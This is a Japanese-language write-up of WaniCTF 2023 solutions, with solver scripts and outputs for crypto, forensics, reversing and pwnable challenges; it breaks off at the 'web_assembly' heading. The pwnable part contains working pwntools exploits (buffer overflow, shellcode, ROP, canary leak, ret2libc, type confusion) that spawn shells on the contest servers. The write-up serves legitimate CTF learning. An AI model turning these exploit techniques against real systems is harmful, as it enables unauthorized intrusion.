WaniCTF 2023 Writeup

2023/5/4(木) 15:00 ~ 2023/5/6(土) 15:00に開催されたWaniCTF 2023のWriteupです。

個人で参加して、4841ptを獲得し35位でした。

Crypto

[Beginner] EZDORSA_Lv1

問題文に書いていることをそのまま計算するだけです。

p = 3
q = 5
n = p*q
e = 65535
d = pow(e, -1, (p-1)*(q-1))
c = 10
print("wani{THE_ANSWER_IS_", pow(c, d, n), "}", sep="")
$ python3 solve.py
wani{THE_ANSWER_IS_10}

[Easy] EZDORSA_lv2

m^{e}の値がnに対して小さいので、5^{-100}cの7乗根を計算するとフラグを求められます。

import gmpy2
from Crypto.Util.number import *

n = 25465155563758206895066841861765043433123515683929678836771513150236561026403556218533356199716126886534636140138011492220383199259698843686404371838391552265338889731646514381163372557117810929108511770402714925176885202763093259342499269455170147345039944516036024012941454077732406677284099700251496952610206410882558915139338028865987662513205888226312662854651278789627761068396974718364971326708407660719074895819282719926846208152543027213930660768288888225218585766787196064375064791353928495547610416240104448796600658154887110324794829898687050358437213471256328628898047810990674288648843902560125175884381
e = 7
c = 25698620825203955726406636922651025698352297732240406264195352419509234001004314759538513429877629840120788601561708588875481322614217122171252931383755532418804613411060596533561164202974971066750469395973334342059753025595923003869173026000225212644208274792300263293810627008900461621613776905408937385021630685411263655118479604274100095236252655616342234938221521847275384288728127863512191256713582669212904042760962348375314008470370142418921777238693948675063438713550567626953125

c_ = (c * pow(5, -100, n)) % n
m, ok = gmpy2.iroot(c_, e)

if ok:
    print(long_to_bytes(m))
$ python3 solve.py
b'FLAG{l0w_3xp0n3nt_4ttAck}'

[Normal] EZDORSA_lv3

素因数が非常に小さいので、簡単に素因数分解することができます。また、n=p_1p_2\ldotsp_kの場合、\phi(n)(p_1-1)(p_2-1)\ldots(p_k-1)で求めることができます。

from Crypto.Util.number import *

n = 22853745492099501680331664851090320356693194409008912025285744113835548896248217185831291330674631560895489397035632880512495471869393924928607517703027867997952256338572057344701745432226462452353867866296639971341288543996228186264749237402695216818617849365772782382922244491233481888238637900175603398017437566222189935795252157020184127789181937056800379848056404436489263973129205961926308919968863129747209990332443435222720181603813970833927388815341855668346125633604430285047377051152115484994149044131179539756676817864797135547696579371951953180363238381472700874666975466580602256195404619923451450273257882787750175913048168063212919624027302498230648845775927955852432398205465850252125246910345918941770675939776107116419037
e = 65537
c = 1357660325421905236173040941411359338802736250800006453031581109522066541737601274287649030380468751950238635436299480021037135774086215029644430055129816920963535754048879496768378328297643616038615858752932646595502076461279037451286883763676521826626519164192498162380913887982222099942381717597401448235443261041226997589294010823575492744373719750855298498634721551685392041038543683791451582869246173665336693939707987213605159100603271763053357945861234455083292258819529224561475560233877987367901524658639475366193596173475396592940122909195266605662802525380504108772561699333131036953048249731269239187358174358868432968163122096583278089556057323541680931742580937874598712243278738519121974022211539212142588629508573342020495
prime_list = [16969003, 17009203, 17027027, 17045117, 17137009, 17151529, 17495507, 17685739, 17933647, 18206689, 18230213, 18505933, 18613019, 18868781, 18901951, 18947729, 19022077, 19148609, 19574987, 19803209, 20590697, 20690983, 21425317, 21499631, 21580043, 21622099, 21707797, 21781139, 21792359, 21982481, 22101437, 22367311, 22374509, 22407799, 22491913, 22537409, 22542229, 22550677, 22733041, 23033441, 23049673, 23083759, 23179243, 23342663, 23563571, 23611043, 23869933, 24027973, 24089029, 24436597, 24454291, 24468209, 24848633, 25564219, 25888721, 26055889, 26119147, 26839909, 27152267, 27304777, 27316717, 27491137, 27647687, 27801167, 28082749, 28103563, 28151399, 28620611, 29035709, 29738689, 29891363, 29979379, 30007841, 30013391, 30049171, 30162343, 30419063, 30461393, 30625601, 31004861, 31108043, 31123457, 31269479, 31384663, 31387957, 31390189, 31469279, 32307589, 32432339, 32514061, 32628367, 32687509, 32703337, 32709977, 32715343, 32737429, 32831261, 33388603, 33418129, 33472771]

phi = 1
for p in prime_list:
    phi *= p - 1

d = pow(e, -1, phi)
print(long_to_bytes(pow(c, d, n)))
$ python3 solve.py
b'FLAG{fact0r1z4t10n_c4n_b3_d0n3_3as1ly}'

[Normal] pqqp

sは、p^{q}+q^{p} \mod nであるのに対して、sの大きさが1024bit程度になっている点が怪しいです。

詳しい証明は分かりませんが、手元でいろいろ試してみると以下の式が成り立つことが分かりました。

\begin{align} p^{q} &\equiv p \mod n \\ q^{p} &\equiv q \mod n \end{align}

よって、s = p + q \mod nが成り立ちます。

\begin{align} \phi(n) &= (p - 1)(q - 1) \\ &= n - p - q + 1 \\ &= n - s + 1 \end{align}

よって、s, nから\phi(n)を求めることができるのでdを求められます。

from Crypto.Util.number import *

n = 31091873146151684702346697466440613735531637654275447575291598179592628060572504006592135492973043411815280891993199034777719870850799089897168085047048378272819058803065113379019008507510986769455940142811531136852870338791250795366205893855348781371512284111378891370478371411301254489215000780458922500687478483283322613251724695102723186321742517119591901360757969517310504966575430365399690954997486594218980759733095291730584373437650522970915694757258900454543353223174171853107240771137143529755378972874283257666907453865488035224546093536708315002894545985583989999371144395769770808331516837626499129978673
e = 65537
c = 8684906481438508573968896111659984335865272165432265041057101157430256966786557751789191602935468100847192376663008622284826181320172683198164506759845864516469802014329598451852239038384416618987741292207766327548154266633297700915040296215377667970132408099403332011754465837054374292852328207923589678536677872566937644721634580238023851454550310188983635594839900790613037364784226067124711011860626624755116537552485825032787844602819348195953433376940798931002512240466327027245293290482539610349984475078766298749218537656506613924572126356742596543967759702604297374075452829941316449560673537151923549844071
s = 352657755607663100038622776859029499529417617019439696287530095700910959137402713559381875825340037254723667371717152486958935653311880986170756144651263966436545612682410692937049160751729509952242950101025748701560375826993882594934424780117827552101647884709187711590428804826054603956840883672204048820926

phi = n - s + 1
d = pow(e, -1, phi)
print(long_to_bytes(pow(c, d, n)))
$ python3 solve.py
b'FLAG{p_q_p_q_521d0bd0c28300f}'

Forensics

[Beginner] Just_mp4

ファイルのプロパティを見ると、発行元がflag_base64:RkxBR3tINHYxbl9mdW5fMW5uMXR9となっていたので、base64デコードするとフラグが得られました。

$ echo RkxBR3tINHYxbl9mdW5fMW5uMXR9 | base64 -d
FLAG{H4v1n_fun_1nn1t}

[Beginner] whats_happening

適当なフォルダにupdogをマウントすると、中にFLAG.pngがありました。

$ sudo mount updog ./mnt
$ ls mnt
FAKE_FLAG.txt  FLAG.png

[Easy] lowkey_messedup

USBデバイスとの通信を記録したpcapファイルが与えられます。 ここを見るとUSBpcapでキャプチャしたデータの最初の27byteはヘッダであり、通信内容はその後に続くとされています。

また、usbpcap decodegoogle検索するとキーボード入力をデコードするスクリプトが見つかったので、それを参考にスクリプトを書くとフラグが得られました。

$ cat solve.py
from scapy.all import *

keycode = {
    0x04: "aA", 0x05: "bB", 0x06: "cC", 0x07: "dD", 0x08: "eE", 0x09: "fF", 0x0a: "gG",
    0x0b: "hH", 0x0c: "iI", 0x0d: "jJ", 0x0e: "kK", 0x0f: "lL", 0x10: "mM", 0x11: "nN",
    0x12: "oO", 0x13: "pP", 0x14: "qQ", 0x15: "rR", 0x16: "sS", 0x17: "tT", 0x18: "uU",
    0x19: "vV", 0x1a: "wW", 0x1b: "xX", 0x1c: "yY", 0x1d: "zZ", 0x1e: "1!", 0x1f: "2\"",
    0x20: "3#", 0x21: "4$", 0x22: "5%", 0x23: "6&", 0x24: "7'", 0x25: "8(", 0x26: "9)",
    0x27: "00", 0x2c: "  ", 0x2d: "-_", 0x2f: "[{", 0x30: "]}"
}

p = rdpcap("chall.pcap")

flag = ""

for pkt in p:
    if len(pkt.load) <= 27:
        continue
    data = pkt.load[27:]
    x = data[2]
    if x == 0:
        continue
    is_shift = int(data[0] == 2)

    if x == 42:
        flag = flag[:-1]
    elif x == 40:
        flag += "\n"

    if x not in keycode:
        continue

    flag += keycode[x][is_shift]
print(flag)
$ python3 solve.py
WARNING: PcapReader: unknown LL type [249]/[0xf9]. Using Raw packets
FLAG{Big_br0ther_is_watching_y0ur_keyb0ard}

[Normal] beg_for_a_peg

Wiresharkでpcapファイルを解析すると、flag.jpgをGETするHTTPリクエストが見つかります。そのパケットに対して「追跡→TCPストリーム」を実行して得られたバイト列をファイルとして書き出すとflag.jpgが得られました。

data = bytes.fromhex("ffd8ffe100754578696600004d4d...ffd9")
with open("flag.jpg", "wb") as f:
    f.write(data)

[Hard] Apocalypse

うさみみハリケーンに付属している「青い空を見上げればいつもそこに白い猫」のステガノグラフィー解析機能を利用して、アルファチャンネルを無効にするとフラグが出てきました。

Misc

[Beginner] prompt

prompt injectionと検索すると出てきた記事を参考にしました。

[Easy] shuffle_base64

ハッシュ値が与えられているので、総当たりで並べ替えてハッシュ値が一致しているか確認することでフラグを求められます。

import base64
import hashlib
import itertools

enc = base64.b64decode("fWQobGVxRkxUZmZ8NjQsaHUhe3NAQUch")

def split(enc):
    result = []
    for i in range(0, len(enc), 3):
        result.append(enc[i:i+2])
    return result

split_enc = split(enc)
for p in itertools.permutations(split_enc):
    tmp = b"".join(p)
    if not tmp.endswith(b"}d"):
        continue
    tmp = tmp[:-1]
    if hashlib.sha256(tmp).hexdigest() == "19b0e576b3457edfd86be9087b5880b6d6fac8c40ebd3d1f57ca86130b230222":
        print(tmp)
$ python3 solve.py
b'FLAG{shuffle64}'

Pwnable

[Beginner] 01. netcat

指定されたサーバにnetcatでアクセスして、計算問題を3つ解けばシェルが起動するのでcat FLAGするだけです。

$ nc netcat-pwn.wanictf.org 9001

+-----------------------------------------+
| your score: 0, remaining 100 challenges |
+-----------------------------------------+

140 +  93 = 233
Cool!

+-----------------------------------------+
| your score: 1, remaining  99 challenges |
+-----------------------------------------+

866 + 224 = 1090
Cool!

+-----------------------------------------+
| your score: 2, remaining  98 challenges |
+-----------------------------------------+

161 + 484 = 645
Cool!
Congrats!
ls
FLAG
chall
redir.sh
cat FLAG
FLAG{1375_k339_17_u9_4nd_m0v3_0n_2_7h3_n3x7!}

[Easy] 02. only_once

適当に8文字入力するとchallの値が負の数になり、好きなだけ入力できるようになります。後は、01. netcatと同じです。

$ nc only-once-pwn.wanictf.org 9002

+---------------------------------------+
| your score: 0, remaining 1 challenges |
+---------------------------------------+

950 + 818 = aaaaaaaa
Oops...

+---------------------------------------+
| your score: 0, remaining -1 challenges |
+---------------------------------------+

 46 + 408 = 454
Cool!

+---------------------------------------+
| your score: 1, remaining -2 challenges |
+---------------------------------------+

470 + 394 = 864
Cool!

+---------------------------------------+
| your score: 2, remaining -3 challenges |
+---------------------------------------+

568 + 504 = 1072
Cool!
Congrats!
ls
FLAG
chall
redir.sh
cat FLAG
FLAG{y0u_4r3_600d_47_c41cu14710n5!}

[Easy] 03. ret2win

リターンアドレスにwin関数のアドレスを書き込むだけです。

from pwn import *

elf = ELF("./pwn-ret2win/chall")
win = elf.symbols["win"]

p = remote("ret2win-pwn.wanictf.org", 9003)

payload = b'A' * 0x28
payload += p64(win)

p.sendlineafter(b'> ', payload)
p.interactive()
$ python3 solve.py
[*] '/home/miso/ctf/wani2023/pwn/ret2win/pwn-ret2win/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to ret2win-pwn.wanictf.org on port 9003: Done
[*] Switching to interactive mode
$ cat flag
cat: flag: No such file or directory
$ ls
FLAG
chall
redir.sh
$ cat FLAG
FLAG{f1r57_5739_45_4_9wn3r}

[Normal] 04. shellcode_basic

pwntoolsのshellcraftでシェルコードを作成して流し込むだけです。

from pwn import *

context.arch = 'amd64'
context.os = 'linux'

p = remote('shell-basic-pwn.wanictf.org', 9004)

p.sendline(asm(shellcraft.sh()))
p.interactive()
$ python3 solve.py
[+] Opening connection to shell-basic-pwn.wanictf.org on port 9004: Done
[*] Switching to interactive mode
$ ls
FLAG
chall
redir.sh
$ cat FLAG
FLAG{NXbit_Blocks_shellcode_next_step_is_ROP}

[Normal] 05. beginners ROP

ROPでexecve("/bin/sh", NULL, NULL)を実行するだけです。

from pwn import *

elf = ELF("chall")

rop_pop_rax = elf.symbols["pop_rax_ret"] + 8
rop_xor_rsi = elf.symbols["xor_rsi_ret"] + 8
rop_xor_rdx = elf.symbols["xor_rdx_ret"] + 8
rop_mov_rsp_rdi = elf.symbols["mov_rsp_rdi_pop_ret"] + 8
rop_syscall = elf.symbols["syscall_ret"] + 8


p = remote("beginners-rop-pwn.wanictf.org", 9005)

payload = b"A" * 0x28
payload += p64(rop_pop_rax)
payload += p64(0x3b)         # execve
payload += p64(rop_xor_rsi)
payload += p64(rop_xor_rdx)
payload += p64(rop_mov_rsp_rdi)
payload += b'/bin/sh\x00'
payload += p64(rop_syscall)

p.sendlineafter(b'> ', payload)
p.interactive()
$ python3 solve.py
[*] '/home/miso/ctf/wani2023/pwn/beginners_ROP/pwn-beginners-rop/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to beginners-rop-pwn.wanictf.org on port 9005: Done
[*] Switching to interactive mode
$ ls
FLAG
chall
redir.sh
$ cat FLAG
FLAG{h0p_p0p_r0p_po909090p93r!!!!}

[Normal] 06. Canaleak

FSBでCanaryをリークして、Canaryの値を壊さないようにリターンアドレスを書き換えるとwin関数を実行できます。 たまに失敗するので、何回か実行するとうまくいきます。

from pwn import *

elf = ELF("./chall")
win = elf.symbols["win"]+8

p = process("./chall")
p = remote("canaleak-pwn.wanictf.org", 9006)

# leak canary
p.sendlineafter(b": ", "%9$p")
canary = int(p.recvline().strip(), 16)

payload = b'A' * 0x18
payload += p64(canary)
payload += b'B' * 8
payload += p64(win)

p.sendlineafter(b': ', payload)
p.sendlineafter(b': ', b'YES')
p.interactive()
k$ python3 solve.py
[*] '/home/miso/ctf/wani2023/pwn/canaleak/pwn-Canaleak/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process './chall': pid 4594
[+] Opening connection to canaleak-pwn.wanictf.org on port 9006: Done
/home/miso/ctf/wani2023/pwn/canaleak/pwn-Canaleak/solve.py:10: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter(b": ", "%9$p")
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAA
You can't overwrite return address if canary is enabled.
Do you agree with me? : $ YES
YES
$ ls
FLAG
chall
redir.sh
$ cat FLAG
FLAG{N0PE!}$

[Normal] 07. ret2libc

スタック上に__libc_start_call_main+128のアドレスが乗っているので、それをもとにlibcのベースアドレスを計算すれば、ret2libcでシェルを実行できます。

from pwn import *

context.arch = "amd64"

libc = ELF("./libc.so.6")
elf = ELF("./chall")

p = remote("ret2libc-pwn.wanictf.org", 9007)

p.recvuntil(b'0x28')
libc_start_call_main = int(p.recvline().split(b'|')[1], 16) - 128
libc_start_main = libc_start_call_main + 0xb0
libc.address = libc_start_main - libc.symbols['__libc_start_main']
log.info(f"{hex(libc.address)=}")

rop = ROP(libc)

rop.raw(b'A' * 0x28)
rop.raw(rop.find_gadget(["ret"]))
rop.system(next(libc.search(b'/bin/sh')))
rop.raw(b'A' * 0x100)

p.sendlineafter(b'> ', rop.chain())
p.interactive()
$ python3 solve.py
[*] '/home/miso/ctf/wani2023/pwn/ret2libc/pwn-ret2libc/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/miso/ctf/wani2023/pwn/ret2libc/pwn-ret2libc/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to ret2libc-pwn.wanictf.org on port 9007: Done
[*] hex(libc.address)='0x7f322003b000'
[*] Loaded 218 cached gadgets for './libc.so.6'
[*] Switching to interactive mode
/bin/sh: 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: not found
$ ls
FLAG
chall
redir.sh
$ cat FLAG
FLAG{c0n6r475_0n_6r4du471n6_45_4_9wn_b361nn3r!}

[Hard] 08. Time Table

mandatory_subjectとelective_subjectの2種類の科目を登録することができます。

typedef struct {
  char *name;
  int time[2];
  char *target[4];
  char memo[32];
  char *professor;
} mandatory_subject;

typedef struct {
  char *name;
  int time[2];
  char memo[32];
  char *professor;
  int (*IsAvailable)(student *);
} elective_subject;

メモリ配置を図示すると以下のようになります。

以下の2点が怪しいです。

  • memoのアドレスが2つの構造体でちょうど32byte分ずれている。
  • elective_subjectに関数ポインタがある。

科目を設定する関数であるregister_mandatory_classを見てみます。

void register_mandatory_class() {
  int i;
  mandatory_subject choice;
  print_table(timetable);
  printf("-----Mandatory Class List-----\n");
  print_mandatory_list();
  printf(">");
  scanf("%d", &i);
  choice = mandatory_list[i];

  printf("%d\n", choice.time[0]);
  timetable[choice.time[0]][choice.time[1]].name = choice.name;
  timetable[choice.time[0]][choice.time[1]].type = MANDATORY_CLASS_CODE;
  timetable[choice.time[0]][choice.time[1]].detail = &mandatory_list[i];
}

mandatory_listにアクセスする際にインデックスのチェックを行っていません。また、mandatory_listの後ろのアドレスにelective_listがあります。

$ readelf -s chall | grep list
    38: 00000000004050c0   264 OBJECT  GLOBAL DEFAULT   26 mandatory_list
    39: 00000000004051e0   128 OBJECT  GLOBAL DEFAULT   26 elective_list
    ...

よって、範囲外参照でelective_listの要素を指定すると、type confusionを起こせそうなことが分かります。 実際に、register_mandatory_classのインデックスとして4を指定すると、elective_list[1]を参照することができます。

次に、write_memoに着目します。

void write_memo() {
  comma *choice = choose_time(timetable);
  printf("WRITE MEMO FOR THE CLASS\n");

  if (choice->type == MANDATORY_CLASS_CODE) {
    read(0, ((mandatory_subject *)choice->detail)->memo, 30);
  } else if (choice->type == ELECTIVE_CLASS_CODE) {
    read(0, ((elective_subject *)choice->detail)->memo, 30);
  }
}

choice->typeに応じてキャストを行い、memoフィールドに30バイト読み込む処理を行っています。

choice->typeは、register_mandatory_class関数とregister_elective_class関数でセットされるため、先ほどのtype confusionを利用することで、elective_subjectをmandatory_subjectとしてキャストさせることができます。

メモリ配置の図を見ると、mandatory_subject->memoelective_subject->professorと同じオフセットを指しています。type confusionを行うことで、professorとIsAvailableに任意の値を書き込むことができるようになります。

print_elective_subject関数にprintf("Professor : %s\n", elective_subjects->professor);があるので、professorにGOTのアドレスを書き込んでおけばlibcをリークできます。 また、register_elective_subject関数にchoice.IsAvailable(&user)があるので、userのアドレスを引数として任意の関数を実行できます。

userの型であるstudentは、以下のように定義されています。

typedef struct {
  char name[10];
  int studentNumber;
  int EnglishScore;
} student;

studentの一番最初の要素はchar name[10]になっているので、choice.IsAvailable(&user)choice.IsAvailable(&user.name)と考えることができます。このnameはプログラムを実行したときに設定できるので、IsAvailableにsystem関数のアドレスを設定しname/bin/shとすればシェルを起動できそうです。

よって、この問題は以下の手順で解くことができます。

  1. 起動時にnameを/bin/shにする。
  2. register_mandatory_classで4を入力してtype confusionを起こす。
  3. write_memoで、適当なGOTとIsAvailableTWIのアドレスを書き込む。
  4. register_elective_classでlibcのベースアドレスを取得する。
  5. write_memoで、適当なアドレスとsystem関数のアドレスを書き込む。
  6. register_elective_classで1(The World of Intellect)を選択する。
from pwn import *

p = remote("timetable-pwn.wanictf.org", 9008)
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")

elf = ELF("./chall")
got_puts = elf.got["puts"]
is_avail_twi = elf.symbols["IsAvailableTWI"]

def register_mandatory(idx):
    p.sendlineafter(b'>', b'1')
    p.sendlineafter(b'>', str(idx).encode())

def register_elective(idx):
    p.sendlineafter(b'>', b'1')
    p.sendlineafter(b'>', str(idx).encode())

def register_student(name, id, major):
    p.sendlineafter(b': ', name)
    p.sendlineafter(b': ', str(id).encode())
    p.sendlineafter(b': ', str(major).encode())

def write_memo(choose, data):
    p.sendlineafter(b'>', b'4')
    p.sendlineafter(b'>', choose)
    p.sendafter(b'WRITE MEMO FOR THE CLASS\n', data)

register_student(b"/bin/sh", 999, 9999)
register_mandatory(4)
write_memo(b'FRI 3', p64(got_puts)+p64(is_avail_twi))

# leak libc
p.sendlineafter(b'>', b'2')
p.recvuntil(b'The World of Intellect - ')
libc_puts = u64(p.recvline().rstrip().ljust(8, b'\x00'))
libc.address = libc_puts - libc.symbols["puts"]

p.sendlineafter(b'>', b'1')
write_memo(b"FRI 3", p64(got_puts) + p64(libc.symbols["system"]))

p.interactive()
$ python3 solve.py
[+] Opening connection to timetable-pwn.wanictf.org on port 9008: Done
[*] '/usr/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/miso/ctf/wani2023/pwn/pwn-TimeTable/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Switching to interactive mode

     MON        TUE        WED        THU        FRI
1    (null)          (null)          (null)          (null)          (null)
2    (null)          (null)          (null)          (null)          (null)
3    (null)          (null)          (null)          (null)          The World of Intellect
4    (null)          (null)          (null)          (null)          (null)
5    (null)          (null)          (null)          (null)          (null)

1. Register Mandatory Class
2. Register Elective Class
3. See Class Detail
4. Write Memo
5. Exit
>$ 2

     MON        TUE        WED        THU        FRI
1    (null)          (null)          (null)          (null)          (null)
2    (null)          (null)          (null)          (null)          (null)
3    (null)          (null)          (null)          (null)          The World of Intellect
4    (null)          (null)          (null)          (null)          (null)
5    (null)          (null)          (null)          (null)          (null)

-----Elective Class List-----
0 : World Affairs - Nomura Kameyo
1 : The World of Intellect - \xd0^\x12T\x7f
>$ 1
$ ls
FLAG
chall
redir.sh
$ cat FLAG
FLAG{Do_n0t_confus3_mandatory_and_el3ctive}

Reversing

[Beginner] Just_Passw0rd

strings just_password | grep FLAGでフラグが見つかります。

$ strings just_password | grep FLAG
FLAG is FLAG{1234_P@ssw0rd_admin_toor_qwerty}

[Easy] javersing

javersing.jarをunzipで展開すると、javersing.classが得られます。

JD-guiを使ってjaversing.classファイルをデコンパイルすると、次のコードが得られました。

import java.util.Scanner;

public class javersing {
  public static void main(String[] paramArrayOfString) {
    String str1 = "Fcn_yDlvaGpj_Logi}eias{iaeAm_s";
    boolean bool = true;
    Scanner scanner = new Scanner(System.in);
    System.out.println("Input password: ");
    String str2 = scanner.nextLine();
    str2 = String.format("%30s", new Object[] { str2 }).replace(" ", "0");
    for (byte b = 0; b < 30; b++) {
      if (str2.charAt(b * 7 % 30) != str1.charAt(b))
        bool = false; 
    } 
    if (bool) {
      System.out.println("Correct!");
    } else {
      System.out.println("Incorrect...");
    } 
  }
}

同じ処理を行うPythonコードを書くとフラグが求まりました。

enc_flag = "Fcn_yDlvaGpj_Logi}eias{iaeAm_s"

flag = [None for _ in range(30)]
for i in range(30):
    flag[(i*7) % 30] = enc_flag[i]
print("".join(flag))
$ python3 solve.py
FLAG{Decompiling_java_is_easy}

[Easy] fermat

gdbで、print_flag関数にジャンプすることでフラグが出力されました。

$ gdb fermat
...
pwndbg> b *main
pwndbg> r
pwndbg> jump *print_flag
Continuing at 0x555555555207.
FLAG{you_need_a_lot_of_time_and_effort_to_solve_reversing_208b47bd66c2cd8}

[Easy] Lua

CRYPTEDlIIlIIlI関数内の変数cの中身を出力してみると、RC4っぽい関数と変数が見つかりました。

$ lua5.1 main.lua
i       128
S       table: 0x55911cb20f80
j       81
cipher  function: 0x55911ca5abb0
generate        function: 0x55911ca75390
schedule        function: 0x55911cb20e80

CRYPTEDlIIlIIlIに渡されている変数aを鍵、bを暗号文としてRC4で復号するとフラグを含んだデータが出力されました。

import base64
from Crypto.Cipher import ARC4

enc = base64.b64decode("hNZ8nGxeJqN0jPo9p6vV/JIyjs7HeX/3fHBGcAtfjO6b7PhWhBevBHFUmpnPlVWhe6VWjX0xcmjxGhSll/sBYL3nfRxjVXDxx9GP0fKxqmXyz9KC7Gy4cFTd7JT4M4037RtHzqCMzODXBOpfNywDmyPi3p0J3hciFvCG3KbUuxDdQ+ausCmyA1Rzyl2rFeoMp+jabZm2E+uDYh537h8NLpcFnLYWsmKcwZJeMJo/laKCv8e+Q4ExNFwzXXolyY9DhaI7k33arVA14rFFV99YyVx15ilaadg5EA9WZrEewRImcxsNCG5IHp4XsB14n7gAx/rys0C9N3COzwc41/wBAsNJ1GguX3Sfo05gsoVO8/rdXPN8zRMPGksizYs9rnlGnkrO3OuSVgGISW63ZOayPL7RCOW4/o9ttNo+/IIyId5LlGXdz3rFyiTBO4vg1kUHt8bdX8moez/kqH6xmmupb4yr4Zn1jJBKqLtvEVKGcczIj0QZVSYMgHbpp/Wcc9Tpjs3V3U7GsUGFXIF7EcmiwA39wx6k3bHFVt4zC9oTNEA6BYdyW3TTF+iJcb56/BZS1VryNAcfrkJnp7UIBG25j7zIirn4usH/uS2jNi2qA+oK49X6gpru3xW4yhpx9L1HmInosAX5ObyQKtPXZqsMRoCsH+qFN+p8Z+l+2lxZYysJox/IZF7TJtEC1uosXhGD8EsbeJOAwfLDlZMXpwSeWCtOjk8bsMIKVMXAAOv2YSDs65G3IAGohfhHtzhBvQG2OLPjBnNM+i4DaDn7sA9d2At5eqCw8oXchaFVehVOYEdBlpB03ATat1EMAVzwjBrIILMmP04fb3Ph3JldtmrVvA==")

key = b'k)-_Se*Zyr5hv:+6@N3'
cipher = ARC4.new(key)
print(base64.b64decode(cipher.encrypt(enc)))
$ python3 solve.py
b'\x1bLuaQ\x00\x01\x04\x08\x04\x08\x00\x05\x00\x00\x00\x00\x00\x00\x00gg_y\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x04\x14\x00\x00\x00\x05\x00\x00\x00\x06@@\x00A\x80\x00\x00\x1c@\x00\x01\x05\x00\x00\x00\x06\xc0@\x00\x0b\x00A\x00\x81@\x01\x00\x1c\x80\x80\x01A\x80\x01\x00\x17@\x00\x00\x16\xc0\x00\x80\x85\xc0\x01\x00\xc1\x00\x02\x00\x9c@\x00\x01\x16\x80\x00\x80\x85\xc0\x01\x00\xc1@\x02\x00\x9c@\x00\x01\x1e\x00\x80\x00\n\x00\x00\x00\x04\x03\x00\x00\x00\x00\x00\x00\x00io\x00\x04\x06\x00\x00\x00\x00\x00\x00\x00write\x00\x04\x0e\x00\x00\x00\x00\x00\x00\x00Input FLAG : \x00\x04\x06\x00\x00\x00\x00\x00\x00\x00stdin\x00\x04\x05\x00\x00\x00\x00\x00\x00\x00read\x00\x04\x06\x00\x00\x00\x00\x00\x00\x00*line\x00\x04C\x00\x00\x00\x00\x00\x00\x00FLAG{1ua_0r_py4h0n_wh4t_d0_y0u_3ay_w4en_43ked_wh1ch_0ne_1s_be44er}\x00\x04\x06\x00\x00\x00\x00\x00\x00\x00print\x00\x04\x08\x00\x00\x00\x00\x00\x00\x00Correct\x00\x04\n\x00\x00\x00\x00\x00\x00\x00Incorrect\x00\x00\x00\x00\x00\x14\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x05\x00\x00\x00\x05\x00\x00\x00\x05\x00\x00\x00\x05\x00\x00\x00\x07\x00\x00\x00\x07\x00\x00\x00\x07\x00\x00\x00\x08\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00a\x00\t\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00b\x00\n\x00\x00\x00\x13\x00\x00\x00\x00\x00\x00\x00'

[Normal] theseus

angrで殴る

import angr

proj = angr.Project("./chall")

simgr = proj.factory.simgr()
simgr.explore(find=lambda x: b'Correct!' in x.posix.dumps(1))

if simgr.found:
    print(simgr.found[0].posix.dumps(0))
$ python3 solve.py
WARNING | 2023-05-06 18:58:08,952 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
WARNING | 2023-05-06 18:58:10,266 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory with an unspecified value. This could indicate unwanted behavior.
WARNING | 2023-05-06 18:58:10,267 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | 2023-05-06 18:58:10,267 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state
WARNING | 2023-05-06 18:58:10,267 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | 2023-05-06 18:58:10,267 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages.
WARNING | 2023-05-06 18:58:10,267 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff8c with 4 unconstrained bytes referenced from 0x401109 (_start+0x9 in chall (0x1109))
b'FLAG{vKCsq3jl4j_Y0uMade1t}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

[Hard] web_assembly

